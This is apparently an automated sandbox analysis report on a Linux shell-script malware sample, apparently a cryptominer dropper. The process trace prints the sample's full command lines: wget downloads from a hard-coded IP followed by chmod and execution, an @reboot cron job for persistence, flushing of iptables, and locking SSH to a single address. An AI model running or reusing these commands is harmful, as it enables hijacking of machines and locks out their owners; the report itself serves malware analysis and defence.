Analysis
- max time kernel
149s - max time network
151s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260126-en - resource tags
- submitted
10/05/2026, 07:55
General
- Target sh
- Size 2KB
- Sample260510-jsdj4abt7v
- SHA256 6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f
Score
9/10
Malware Config
Signatures
- Contacts a large (19263) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Creates Raw socket 1 IoCs
Creates a socket that captures raw packets at the device level
- Executes dropped EXE 1 IoCs
- Flushes firewall rules 1 TTPs 6 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
- Reads AppArmor ptrace settings 1 TTPs 1 IoCs
Discovery of allowed ptrace capabilities by AppArmor.
- Attempts to change immutable files 49 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
- Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 15 IoCs
Accesses system info like serial numbers, manufacturer names etc.
- Reads network interface configuration 2 TTPs 15 IoCs
Fetches information about one or more active network interfaces.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/sh/tmp/sh1⤵
- Executes dropped EXE
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep noexec2⤵
-
-
/bin/catcat /proc/mounts2⤵
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/usr/bin/findfind / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/unified -not -path "/sys/fs/cgroup/unified/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/pstore -not -path "/sys/fs/pstore/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/hugetlb -not -path "/sys/fs/cgroup/hugetlb/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/rdma -not -path "/sys/fs/cgroup/rdma/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*"2⤵
- Reads AppArmor ptrace settings
- Reads hardware information
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/unameuname -mp2⤵
-
-
/usr/bin/trtr -d " "2⤵
-
-
/usr/bin/odod -An -N2 -i /dev/urandom2⤵
-
-
/usr/bin/exprexpr 19964 "%" 32 + 42⤵
-
-
/usr/bin/headhead -c 322⤵
-
-
/usr/bin/trtr -dc A-Za-z0-92⤵
-
-
/usr/bin/opensslopenssl rand -base64 2562⤵
-
-
/usr/bin/touchtouch .testfile2⤵
-
-
/bin/dddd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"2⤵
-
-
/bin/rmrm -rf .testfile .testfile22⤵
-
-
/bin/rmrm -rf clean2⤵
-
-
/usr/bin/wgetwget --no-check-certificate -q https://125.135.169.171/clean2⤵
-
-
/bin/chmodchmod +x clean2⤵
- File and Directory Permissions Modification
-
-
/bin/shsh clean2⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl disable c3pool_miner3⤵
-
-
/bin/systemctlsystemctl stop c3pool_miner3⤵
-
-
/usr/bin/chattrchattr -ia /var/spool/cron/crontabs3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/crontab3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.hourly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/0anacron3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/0anacron3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/0anacron3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/apport3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apport3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/apport3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/apt-compat3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/bsdmainutils3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/cracklib-runtime3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/cracklib-runtime3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/cracklib-runtime3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/dpkg3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/logrotate3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/man-db3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/man-db3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/man-db3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/mlocate3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/mlocate3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/mlocate3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/passwd3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/popularity-contest3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/popularity-contest3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/popularity-contest3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/update-notifier-common3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/update-notifier-common3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/update-notifier-common3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/0anacron3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.weekly/0anacron3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.weekly/0anacron3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/man-db3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.weekly/man-db3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.weekly/man-db3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/update-notifier-common3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.weekly/update-notifier-common3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.weekly/update-notifier-common3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.monthly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/0anacron3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.monthly/0anacron3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.monthly/0anacron3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.d3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/anacron3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.d/anacron3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.d/anacron3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/popularity-contest3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.d/popularity-contest3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.d/popularity-contest3⤵
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/anacrontab3⤵
-
-
/bin/rmrm -rf /tmp/config-err-xMI4b9 /tmp/netplan__qqrki_v /tmp/sh /tmp/snap-private-tmp /tmp/ssh-VDXtn4UvamID /tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-ModemManager.service-FPrng3 /tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-bolt.service-7i212G /tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-colord.service-5amTUL /tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-systemd-resolved.service-fMYFAg /tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-systemd-timedated.service-DnodS73⤵
-
-
/bin/rmrm -rf /var/tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-ModemManager.service-Mmka0r /var/tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-bolt.service-CabLwd /var/tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-colord.service-Aze2ik /var/tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-systemd-resolved.service-Ik7AwE /var/tmp/systemd-private-d269c9d411b84c488e92c974a17e97c4-systemd-timedated.service-ajDFxK3⤵
- Attempts to change immutable files
-
-
/bin/rmrm -rf "/dev/shm/*"3⤵
-
-
-
/bin/rmrm -rf clean2⤵
-
-
/bin/rmrm -rf .redtail2⤵
-
-
/bin/rmrm -rf .oWtKkea0STUb6iXL3r4bLzRkK6irFxaF2⤵
-
-
/bin/grepgrep -q x86_642⤵
-
-
/bin/rmrm -rf x86_642⤵
-
-
/usr/bin/wgetwget --no-check-certificate -q https://125.135.169.171/x86_642⤵
-
-
/bin/mvmv x86_64 .oWtKkea0STUb6iXL3r4bLzRkK6irFxaF2⤵
-
-
/bin/chmodchmod +x .oWtKkea0STUb6iXL3r4bLzRkK6irFxaF2⤵
- File and Directory Permissions Modification
-
-
/.oWtKkea0STUb6iXL3r4bLzRkK6irFxaF./.oWtKkea0STUb6iXL3r4bLzRkK6irFxaF2⤵
- Creates Raw socket
- Checks hardware identifiers (DMI)
- Reads hardware information
- Reads network interface configuration
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/bin/shsh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /.oWtKkea0STUb6iXL3r4bLzRkK6irFxaF\" | crontab -"3⤵
-
/usr/bin/crontabcrontab -r4⤵
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
/bin/shsh -c "iptables -F >/dev/null 2>&1; iptables -I INPUT -p tcp --dport 44251 -j ACCEPT >/dev/null 2>&1"3⤵
- Attempts to change immutable files
-
/sbin/iptablesiptables -F4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -I INPUT -p tcp --dport 44251 -j ACCEPT4⤵
- Flushes firewall rules
- Attempts to change immutable files
-
-
-
/bin/shsh -c "iptables -C INPUT -p tcp --dport 22 -j DROP 2>/dev/null || iptables -A INPUT -p tcp --dport 22 -j DROP; iptables -C INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT 2>/dev/null || iptables -A INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT"3⤵
-
/sbin/iptablesiptables -C INPUT -p tcp --dport 22 -j DROP4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j DROP4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -C INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT4⤵
- Flushes firewall rules
-
-
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
.testfile2
clean
clean_crontab
clean_crontab
clean_crontab
clean_crontab
clean_crontab
tmp.wEXiHS
x86_64